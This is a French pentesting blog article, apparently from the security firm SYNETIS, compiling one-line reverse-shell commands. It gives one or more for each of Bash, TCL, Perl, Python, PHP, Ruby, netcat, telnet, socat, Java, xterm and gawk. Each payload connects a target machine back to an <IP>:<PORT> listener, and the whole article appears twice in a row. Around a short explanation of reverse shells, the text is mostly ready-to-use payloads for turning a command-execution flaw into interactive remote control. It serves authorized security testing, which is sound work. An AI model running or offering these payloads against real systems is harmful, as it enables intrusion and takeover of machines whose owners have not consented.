Établir un reverse-shell en une ligne
Dans le cadre d’audit de sécurité, d’évaluation et de “pentesting” , il peut arriver qu’une vulnérabilité d’exécution de commande soit découverte (RCE – Remote Command Execution). L’auditeur nécessite rapidement de disposer d’un shell complet interactif en fonction de la complexité/difficulté d’exploiter le RCE découvert.
Certains RCE sont soumis à des filtres de caractères, de la sanitization de données entrantes ou bien encore à l’exécution de commande unique. L’évaluateur tente dans un premier temps de créer un nouveau compte système, d’ajouter une nouvelle clé SSH ou un fichier .rhosts pour se connecter à distance sur la machine. Si de telles actions s’avèrent infructueuses, le pentesteur peut s’orienter vers l’obtention d’un reverse-shell interactif au travers du RCE découvert.
Cet article qui est une compilation de diverses sources externes et d’analyses internes à SYNETIS permet de faciliter la récupération d’un reverse-shell, le tout via des commandes uniques et « one-line ».
L’obtention d’un reverse-shell dépend fortement de la distribution/OS déployée sur la machine cible. Pour l’ensemble des exemples qui suivent, ceux-ci sont compatible Windows/Linux en remplaçant « /bin/sh -i » par « cmd.exe » et vice-versa.
Il convient de clarifier dans un premier temps l’intérêt d’utiliser un reverse-shell et ce que c’est. Un « reverse-shell » n’est autre qu’un shell (terminal/console) contrôlé à distance par un utilisateur. Un shell simple se traduit par une attente de connexion sur un port précis par la machine à contrôler. L’utilisateur va se connecter sur ce port et récupérer le terminal interactif. Le « reverse-shell » est l’inverse : c’est l’utilisateur qui place un processus en écoute sur un port précis, et c’est la machine à contrôler qui établie la connexion vers la machine de l’utilisateur pour lui transmettre le contrôle de son terminal.
L’intérêt du « reverse-shell »? Plus besoin de se soucier des IPs des machines distantes à contrôler puisque ce sont elles qui se connectent à l’utilisateur. De plus, comme la connexion est sortante à partir de la machine à contrôler, les pare-feux/routeurs bloquent rarement ce type de flux.
La plupart des commandes suivantes sont plus ou moins difficiles à la lecture. L’objectif est d’avoir des commandes uniques à exécuter sur la machine à contrôler pour obtenir le reverse-shell, avec redirection de l’entrée standard, sortie standard et sortie d’erreur. Chaque commande est classée par technologie/langage. Pour chacune d’elle, l’auditeur doit placer sa machine en écoute sur un port précis. Cette étape est souvent réalisée par l’utilitaire de maniement des sockets nommé « nectat », disponible sous Windows/Linux.
Commande à exécuter côté auditeur (l’argument « -p » peut être optionnel sous Linux en fonction de la version de netcat installée) :
nc -l -vv -p <PORT>
Il va de soit que pour chacune des commandes de reverse-shell, l’IP à indiquer est celle de la machine de l’auditeur pour que la connexion s’effectue.
Bash
Certaines versions de Bash permettent de transmettre un reverse-shell via “/dev/tcp/” ou “/dev/udp/” (version compilée avec le drapeau “–enable-net-redirections”).
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1 exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
TCLsh
Souvent cité comme alternative à l’utilisation de “/dev/tcp/” et “/dev/udp/” lorsque ceux-ci ne sont pas disponibles, TCL est un langage permettant l’utilisation des sockets et l’exécution de commande. En d’autres termes, adéquat pour établir un reverse-shell.
Script TCL d’établissement d’un reverse-shell :
#!/usr/bin/tclsh set s [socket <IP> <PORT>]; while {42} { puts -nonewline $s "shell>"; flush $s; gets $s c; set e "exec $c"; if {![catch {set r [eval $e]} err]} { puts $s $r; } flush $s; } close $s;
Version one-line :
echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
Perl
Version dépendante de “/bin/sh” :
perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Version indépendante de “/bin/sh” pour Linux (avec fork) :
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<IP>:<PORT>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Si le système cible est un Windows (sans fork) :
perl -MIO -e "$c=new IO::Socket::INET(PeerAddr,'<IP>:<PORT>');STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"
Une version complète sous forme de script est également disponible ici.
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
Pour chaque langage, différentes fonctions d’exécution de commandes locales sont exploitables. Dans le cadre du langage PHP, voici quelques exemples avec différentes fonctions :
php -r '$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);`/bin/sh -i <&3 >&3 2>&3`;' php -r '$s=fsockopen("<IP>",<PORT>);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
Une version complète sous forme de script est également disponible ici.
Ruby
One-line dépendante de “/bin/sh” :
ruby -rsocket -e'f=TCPSocket.open("<IP>",<PORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Version indépendante de “/bin/sh” pour Linux (avec fork) :
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<IP>","<PORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Version pour Windows (sans fork) :
ruby -rsocket -e "c=TCPSocket.new('<IP>','<PORT>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
Netcat
Version traditionnelle de netcat (paquet netcat-traditional) avec arguments “-c” ou “-e” disponibles (GAPING_SECURITY_HOLE activé) :
nc <IP> <PORT> -e /bin/bash /bin/nc.traditional <IP> <PORT> -e /bin/bash /bin/nc.traditional <IP> <PORT> -c /bin/bash
Pour toutes les autres version de netcat (notamment netcat-openbsd) qui ont été compilées avec le “GAPING_SECURITY_HOLE” de désactivé :
- Via “mkfifo” :
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc <IP> <PORT> > f rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd <IP> <PORT> > f
- Via “mknod” :
rm -f x; mknod x p && nc <IP> <PORT> 0<x | /bin/bash 1>x rm -f x; mknod x p && /bin/nc.openbsd <IP> <PORT> 0<x | /bin/bash 1>x
Cryptcat est l’alternative chiffrée de netcat.
Telnet
Le double telnet, qui effectue une double connexion à la machine de l’auditeur sur deux ports différents. Le pentesteur doit donc placer deux netcat en écoute sur deux ports (1337 et 1338). Le premier netcat permettra d’entrer les commande et le second de recevoir les résultats.
telnet <IP> <PORT1> | /bin/bash | telnet <IP> <PORT2>
- Via “mkfifo” :
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet <IP> <PORT> > f
- Via “mknod” :
rm -f x; mknod x p && telnet <IP> <PORT> 0<x | /bin/bash 1>x
Socat
Dans la ligné des outils pour contrôler les flux réseaux, Socat est une des références. Rarement présent par défaut dans les distributions Linux (uniquement), il est possible de récupérer un reverse-shell par son intermédiaire :
socat tcp-connect:<IP>:<PORT> exec:"bash -li",pty,stderr,setsid,sigint,sane
Socat permet des connexions bidirectionnelles pour établir des reverse-shell totalement interactifs (avec dead-keys, touches de contrôle…), et supporte nativement le chiffrement SSL, l’IPv6…
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Code non-testé, source PentestMonkey.
xterm
Une autre méthode permettant d’obtenir un reverse-shell est l’utilisation du transfert d’un terminal xterm. Pour réaliser cela, un X-Server doit être présent sur la machine de l’auditeur. Le paquet “xnest” permet cela aisément sur les systèmes Linux. Il faut de plus autoriser les connexions en provenance de la machine cible.
Sur la machine du pentesteur (mise en écoute sur le port 6001) :
Xnest :1 xhost +<IPTARGET>
Sur la machine cible :
xterm -display <IP>:1
Si le système est un Solaris, “xterm” ne fait pas partie par défaut de l’environnement. Son chemin d’accès complet doit être renseigné :
/usr/openwin/bin/xterm -display <IP>:1
(G)awk
Reverse-shell via Gawk, basé sur un script de shell simple en provenance du Phrack 62 :
#!/usr/bin/awk -f BEGIN { s = "/inet/tcp/0/<IP>/<PORT>" while(42) { do{ printf "shell>" |& s s |& getline c if(c){ while ((c |& getline) > 0) print $0 |& s close(c) } } while(c != "exit") close(s) } }
Pour une exécution “one-line” en utilisant “awk” (ou sa variante GNU Gawk) :
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Il existe une multitude de techniques et méthodes permettant d’acquérir un reverse-shell à partir d’une machine. Beaucoup d’entre elles dépendent des outils et technologies disponibles sur la machine cible. Les quelques exemples précédents sont relativement courants au sein des distributions les plus communes. Cet article a pour vocation de centraliser et de présenter certains de ces vecteurs. Si une autre technique/syntaxe vous vient à l’esprit, n’hésitez pas à enrichir ce billet.
Sources & ressources :
- PentestMonkey
- GNUCitizen
- Bernardo Damele blog
- LaNMaSteR53 blog
- Blog rootshell.ir
- SegmentationFault
- ASafety
Yann Cam
Consultant Sécurité
Dans le cadre d’audit de sécurité, d’évaluation et de “pentesting” , il peut arriver qu’une vulnérabilité d’exécution de commande soit découverte (RCE – Remote Command Execution). L’auditeur nécessite rapidement de disposer d’un shell complet interactif en fonction de la complexité/difficulté d’exploiter le RCE découvert.
Certains RCE sont soumis à des filtres de caractères, de la sanitization de données entrantes ou bien encore à l’exécution de commande unique. L’évaluateur tente dans un premier temps de créer un nouveau compte système, d’ajouter une nouvelle clé SSH ou un fichier .rhosts pour se connecter à distance sur la machine. Si de telles actions s’avèrent infructueuses, le pentesteur peut s’orienter vers l’obtention d’un reverse-shell interactif au travers du RCE découvert.
Cet article qui est une compilation de diverses sources externes et d’analyses internes à SYNETIS permet de faciliter la récupération d’un reverse-shell, le tout via des commandes uniques et « one-line ».
L’obtention d’un reverse-shell dépend fortement de la distribution/OS déployée sur la machine cible. Pour l’ensemble des exemples qui suivent, ceux-ci sont compatible Windows/Linux en remplaçant « /bin/sh -i » par « cmd.exe » et vice-versa.
Il convient de clarifier dans un premier temps l’intérêt d’utiliser un reverse-shell et ce que c’est. Un « reverse-shell » n’est autre qu’un shell (terminal/console) contrôlé à distance par un utilisateur. Un shell simple se traduit par une attente de connexion sur un port précis par la machine à contrôler. L’utilisateur va se connecter sur ce port et récupérer le terminal interactif. Le « reverse-shell » est l’inverse : c’est l’utilisateur qui place un processus en écoute sur un port précis, et c’est la machine à contrôler qui établie la connexion vers la machine de l’utilisateur pour lui transmettre le contrôle de son terminal.
L’intérêt du « reverse-shell »? Plus besoin de se soucier des IPs des machines distantes à contrôler puisque ce sont elles qui se connectent à l’utilisateur. De plus, comme la connexion est sortante à partir de la machine à contrôler, les pare-feux/routeurs bloquent rarement ce type de flux.
La plupart des commandes suivantes sont plus ou moins difficiles à la lecture. L’objectif est d’avoir des commandes uniques à exécuter sur la machine à contrôler pour obtenir le reverse-shell, avec redirection de l’entrée standard, sortie standard et sortie d’erreur. Chaque commande est classée par technologie/langage. Pour chacune d’elle, l’auditeur doit placer sa machine en écoute sur un port précis. Cette étape est souvent réalisée par l’utilitaire de maniement des sockets nommé « nectat », disponible sous Windows/Linux.
Commande à exécuter côté auditeur (l’argument « -p » peut être optionnel sous Linux en fonction de la version de netcat installée) :
nc -l -vv -p <PORT>
Il va de soit que pour chacune des commandes de reverse-shell, l’IP à indiquer est celle de la machine de l’auditeur pour que la connexion s’effectue.
Bash
Certaines versions de Bash permettent de transmettre un reverse-shell via “/dev/tcp/” ou “/dev/udp/” (version compilée avec le drapeau “–enable-net-redirections”).
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1 exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
TCLsh
Souvent cité comme alternative à l’utilisation de “/dev/tcp/” et “/dev/udp/” lorsque ceux-ci ne sont pas disponibles, TCL est un langage permettant l’utilisation des sockets et l’exécution de commande. En d’autres termes, adéquat pour établir un reverse-shell.
Script TCL d’établissement d’un reverse-shell :
#!/usr/bin/tclsh set s [socket <IP> <PORT>]; while {42} { puts -nonewline $s "shell>"; flush $s; gets $s c; set e "exec $c"; if {![catch {set r [eval $e]} err]} { puts $s $r; } flush $s; } close $s;
Version one-line :
echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
Perl
Version dépendante de “/bin/sh” :
perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Version indépendante de “/bin/sh” pour Linux (avec fork) :
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<IP>:<PORT>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Si le système cible est un Windows (sans fork) :
perl -MIO -e "$c=new IO::Socket::INET(PeerAddr,'<IP>:<PORT>');STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"
Une version complète sous forme de script est également disponible ici.
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
Pour chaque langage, différentes fonctions d’exécution de commandes locales sont exploitables. Dans le cadre du langage PHP, voici quelques exemples avec différentes fonctions :
php -r '$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);`/bin/sh -i <&3 >&3 2>&3`;' php -r '$s=fsockopen("<IP>",<PORT>);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$s=fsockopen("<IP>",<PORT>);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
Une version complète sous forme de script est également disponible ici.
Ruby
One-line dépendante de “/bin/sh” :
ruby -rsocket -e'f=TCPSocket.open("<IP>",<PORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Version indépendante de “/bin/sh” pour Linux (avec fork) :
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<IP>","<PORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Version pour Windows (sans fork) :
ruby -rsocket -e "c=TCPSocket.new('<IP>','<PORT>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
Netcat
Version traditionnelle de netcat (paquet netcat-traditional) avec arguments “-c” ou “-e” disponibles (GAPING_SECURITY_HOLE activé) :
nc <IP> <PORT> -e /bin/bash /bin/nc.traditional <IP> <PORT> -e /bin/bash /bin/nc.traditional <IP> <PORT> -c /bin/bash
Pour toutes les autres version de netcat (notamment netcat-openbsd) qui ont été compilées avec le “GAPING_SECURITY_HOLE” de désactivé :
- Via “mkfifo” :
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc <IP> <PORT> > f rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd <IP> <PORT> > f
- Via “mknod” :
rm -f x; mknod x p && nc <IP> <PORT> 0<x | /bin/bash 1>x rm -f x; mknod x p && /bin/nc.openbsd <IP> <PORT> 0<x | /bin/bash 1>x
Cryptcat est l’alternative chiffrée de netcat.
Telnet
Le double telnet, qui effectue une double connexion à la machine de l’auditeur sur deux ports différents. Le pentesteur doit donc placer deux netcat en écoute sur deux ports (1337 et 1338). Le premier netcat permettra d’entrer les commande et le second de recevoir les résultats.
telnet <IP> <PORT1> | /bin/bash | telnet <IP> <PORT2>
- Via “mkfifo” :
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet <IP> <PORT> > f
- Via “mknod” :
rm -f x; mknod x p && telnet <IP> <PORT> 0<x | /bin/bash 1>x
Socat
Dans la ligné des outils pour contrôler les flux réseaux, Socat est une des références. Rarement présent par défaut dans les distributions Linux (uniquement), il est possible de récupérer un reverse-shell par son intermédiaire :
socat tcp-connect:<IP>:<PORT> exec:"bash -li",pty,stderr,setsid,sigint,sane
Socat permet des connexions bidirectionnelles pour établir des reverse-shell totalement interactifs (avec dead-keys, touches de contrôle…), et supporte nativement le chiffrement SSL, l’IPv6…
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Code non-testé, source PentestMonkey.
xterm
Une autre méthode permettant d’obtenir un reverse-shell est l’utilisation du transfert d’un terminal xterm. Pour réaliser cela, un X-Server doit être présent sur la machine de l’auditeur. Le paquet “xnest” permet cela aisément sur les systèmes Linux. Il faut de plus autoriser les connexions en provenance de la machine cible.
Sur la machine du pentesteur (mise en écoute sur le port 6001) :
Xnest :1 xhost +<IPTARGET>
Sur la machine cible :
xterm -display <IP>:1
Si le système est un Solaris, “xterm” ne fait pas partie par défaut de l’environnement. Son chemin d’accès complet doit être renseigné :
/usr/openwin/bin/xterm -display <IP>:1
(G)awk
Reverse-shell via Gawk, basé sur un script de shell simple en provenance du Phrack 62 :
#!/usr/bin/awk -f BEGIN { s = "/inet/tcp/0/<IP>/<PORT>" while(42) { do{ printf "shell>" |& s s |& getline c if(c){ while ((c |& getline) > 0) print $0 |& s close(c) } } while(c != "exit") close(s) } }
Pour une exécution “one-line” en utilisant “awk” (ou sa variante GNU Gawk) :
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Il existe une multitude de techniques et méthodes permettant d’acquérir un reverse-shell à partir d’une machine. Beaucoup d’entre elles dépendent des outils et technologies disponibles sur la machine cible. Les quelques exemples précédents sont relativement courants au sein des distributions les plus communes. Cet article a pour vocation de centraliser et de présenter certains de ces vecteurs. Si une autre technique/syntaxe vous vient à l’esprit, n’hésitez pas à enrichir ce billet.
Sources & ressources :
- PentestMonkey
- GNUCitizen
- Bernardo Damele blog
- LaNMaSteR53 blog
- Blog rootshell.ir
- SegmentationFault
- ASafety
Yann Cam
Consultant Sécurité